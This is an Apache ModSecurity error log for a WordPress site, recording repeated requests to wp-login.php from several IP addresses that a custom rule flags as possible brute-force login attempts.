[Thu Apr 30 22:08:09.553695 2026] [:error] [pid 6456:tid 6473] [client 164.90.239.29:46568] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiSUOBwsDodnkJK5x2vgAAAE8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:10.760580 2026] [:error] [pid 5733:tid 5814] [client 164.90.239.29:46572] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiSvT55_Ioa9J2OpL7hwAAARg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:10.778834 2026] [:error] [pid 6456:tid 6466] [client 164.90.239.29:46588] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiSkOBwsDodnkJK5x2wQAAAEg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:10.955826 2026] [:error] [pid 6456:tid 6482] [client 164.90.239.29:46568] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiSkOBwsDodnkJK5x2wgAAAFg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:12.108472 2026] [:error] [pid 5733:tid 5792] [client 164.90.239.29:46572] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTPT55_Ioa9J2OpL7iAAAAQI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:12.259901 2026] [:error] [pid 6456:tid 6462] [client 164.90.239.29:46588] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTEOBwsDodnkJK5x2wwAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:12.380589 2026] [:error] [pid 6456:tid 6464] [client 164.90.239.29:46568] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTEOBwsDodnkJK5x2xAAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:13.472142 2026] [:error] [pid 5733:tid 5794] [client 164.90.239.29:46572] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTfT55_Ioa9J2OpL7iQAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:13.627134 2026] [:error] [pid 6456:tid 6463] [client 164.90.239.29:46568] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTUOBwsDodnkJK5x2xQAAAEU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:13.635132 2026] [:error] [pid 6456:tid 6477] [client 164.90.239.29:46588] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTUOBwsDodnkJK5x2xgAAAFM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:14.773110 2026] [:error] [pid 5733:tid 5805] [client 164.90.239.29:46572] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTvT55_Ioa9J2OpL7igAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:14.899740 2026] [:error] [pid 6456:tid 6473] [client 164.90.239.29:46568] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTkOBwsDodnkJK5x2xwAAAE8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:14.949903 2026] [:error] [pid 6456:tid 6476] [client 164.90.239.29:46588] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiTkOBwsDodnkJK5x2yAAAAFI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:16.111526 2026] [:error] [pid 5733:tid 5806] [client 164.90.239.29:46572] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiUPT55_Ioa9J2OpL7iwAAARA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:16.151663 2026] [:error] [pid 6456:tid 6478] [client 164.90.239.29:46568] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiUEOBwsDodnkJK5x2yQAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:08:16.317548 2026] [:error] [pid 6456:tid 6467] [client 164.90.239.29:46588] [client 164.90.239.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.239.29, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiUEOBwsDodnkJK5x2ygAAAEk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:00.558797 2026] [:error] [pid 5733:tid 5793] [client 15.206.23.69:53928] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiuPT55_Ioa9J2OpL7rQAAAQM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:00.559962 2026] [:error] [pid 5820:tid 5840] [client 15.206.23.69:53932] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiuAyrLh3-LgH3Xv9faQAAABI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:00.564551 2026] [:error] [pid 5820:tid 5836] [client 15.206.23.69:53930] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiuAyrLh3-LgH3Xv9fagAAAA4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:01.967763 2026] [:error] [pid 5820:tid 5837] [client 15.206.23.69:53930] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiuQyrLh3-LgH3Xv9fawAAAA8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:01.972058 2026] [:error] [pid 5733:tid 5796] [client 15.206.23.69:53928] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiufT55_Ioa9J2OpL7rwAAAQY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:02.084897 2026] [:error] [pid 5820:tid 5827] [client 15.206.23.69:53932] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiugyrLh3-LgH3Xv9fbAAAAAU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:03.163791 2026] [:error] [pid 5820:tid 5829] [client 15.206.23.69:53930] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiuwyrLh3-LgH3Xv9fbgAAAAc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:03.163856 2026] [:error] [pid 5733:tid 5809] [client 15.206.23.69:53928] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiu_T55_Ioa9J2OpL7sAAAARM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:03.304489 2026] [:error] [pid 5820:tid 5834] [client 15.206.23.69:53932] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiuwyrLh3-LgH3Xv9fbwAAAAw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:04.351750 2026] [:error] [pid 5733:tid 5813] [client 15.206.23.69:53928] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNivPT55_Ioa9J2OpL7swAAARc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:04.394983 2026] [:error] [pid 5820:tid 5844] [client 15.206.23.69:53930] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNivAyrLh3-LgH3Xv9fcAAAABY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:04.553285 2026] [:error] [pid 5820:tid 5842] [client 15.206.23.69:53932] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNivAyrLh3-LgH3Xv9fcQAAABQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:05.578105 2026] [:error] [pid 5733:tid 5814] [client 15.206.23.69:53928] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNivfT55_Ioa9J2OpL7tQAAARg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:05.592292 2026] [:error] [pid 5820:tid 5845] [client 15.206.23.69:53930] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNivQyrLh3-LgH3Xv9fcgAAABc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:05.661371 2026] [:error] [pid 5820:tid 5832] [client 15.206.23.69:53932] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNivQyrLh3-LgH3Xv9fcwAAAAo"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:07.096020 2026] [:error] [pid 5820:tid 5833] [client 15.206.23.69:53930] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNivwyrLh3-LgH3Xv9fdAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:07.096570 2026] [:error] [pid 5820:tid 5831] [client 15.206.23.69:53932] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNivwyrLh3-LgH3Xv9fdQAAAAk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:10:07.096820 2026] [:error] [pid 5733:tid 5801] [client 15.206.23.69:53928] [client 15.206.23.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 15.206.23.69, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNiv_T55_Ioa9J2OpL7uAAAAQs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:46.814476 2026] [:error] [pid 5733:tid 5793] [client 13.202.126.17:38680] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmavT55_Ioa9J2OpL-PQAAAQM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:46.814997 2026] [:error] [pid 5733:tid 5797] [client 13.202.126.17:38682] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmavT55_Ioa9J2OpL-PgAAAQc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:46.817272 2026] [:error] [pid 5731:tid 5738] [client 13.202.126.17:38700] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmag8tX7TbSfYoUIxMyAAAAIM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:48.368851 2026] [:error] [pid 5733:tid 5801] [client 13.202.126.17:38682] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmbPT55_Ioa9J2OpL-QgAAAQs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:48.383399 2026] [:error] [pid 5733:tid 5805] [client 13.202.126.17:38680] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmbPT55_Ioa9J2OpL-QwAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:49.438622 2026] [:error] [pid 5731:tid 5759] [client 13.202.126.17:38700] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmbQ8tX7TbSfYoUIxMzAAAAJg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:49.564715 2026] [:error] [pid 5733:tid 5803] [client 13.202.126.17:38682] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmbfT55_Ioa9J2OpL-RAAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:50.465104 2026] [:error] [pid 5733:tid 5814] [client 13.202.126.17:38680] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmbvT55_Ioa9J2OpL-SgAAARg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:50.619248 2026] [:error] [pid 5731:tid 5742] [client 13.202.126.17:38700] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmbg8tX7TbSfYoUIxMzQAAAIc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:50.826734 2026] [:error] [pid 5733:tid 5806] [client 13.202.126.17:38682] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmbvT55_Ioa9J2OpL-TAAAARA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:51.708487 2026] [:error] [pid 5733:tid 5809] [client 13.202.126.17:38680] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmb_T55_Ioa9J2OpL-TgAAARM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:51.806913 2026] [:error] [pid 5731:tid 5758] [client 13.202.126.17:38700] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmbw8tX7TbSfYoUIxMzgAAAJc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:52.072401 2026] [:error] [pid 5733:tid 5791] [client 13.202.126.17:38682] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmcPT55_Ioa9J2OpL-TwAAAQE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:52.907696 2026] [:error] [pid 5731:tid 5745] [client 13.202.126.17:38700] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmcA8tX7TbSfYoUIxM0AAAAIo"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:52.958884 2026] [:error] [pid 5733:tid 5801] [client 13.202.126.17:38680] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmcPT55_Ioa9J2OpL-UAAAAQs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:25:53.284497 2026] [:error] [pid 5733:tid 5792] [client 13.202.126.17:38682] [client 13.202.126.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 13.202.126.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmcfT55_Ioa9J2OpL-UQAAAQI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:14.874119 2026] [:error] [pid 6456:tid 6462] [client 89.233.105.174:39104] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmwkOBwsDodnkJK5x9NAAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:14.888939 2026] [:error] [pid 6456:tid 6459] [client 89.233.105.174:39120] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmwkOBwsDodnkJK5x9NQAAAEE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:14.889288 2026] [:error] [pid 6456:tid 6472] [client 89.233.105.174:39108] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmwkOBwsDodnkJK5x9NgAAAE4"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:16.197717 2026] [:error] [pid 6456:tid 6482] [client 89.233.105.174:39104] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmxEOBwsDodnkJK5x9PQAAAFg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 22:27:16.293689 2026] [:error] [pid 6456:tid 6460] [client 89.233.105.174:39108] [client 89.233.105.174] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.233.105.174, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afNmxEOBwsDodnkJK5x9PwAAAEI"], referer: https://gigfragments.org/wp-login.php
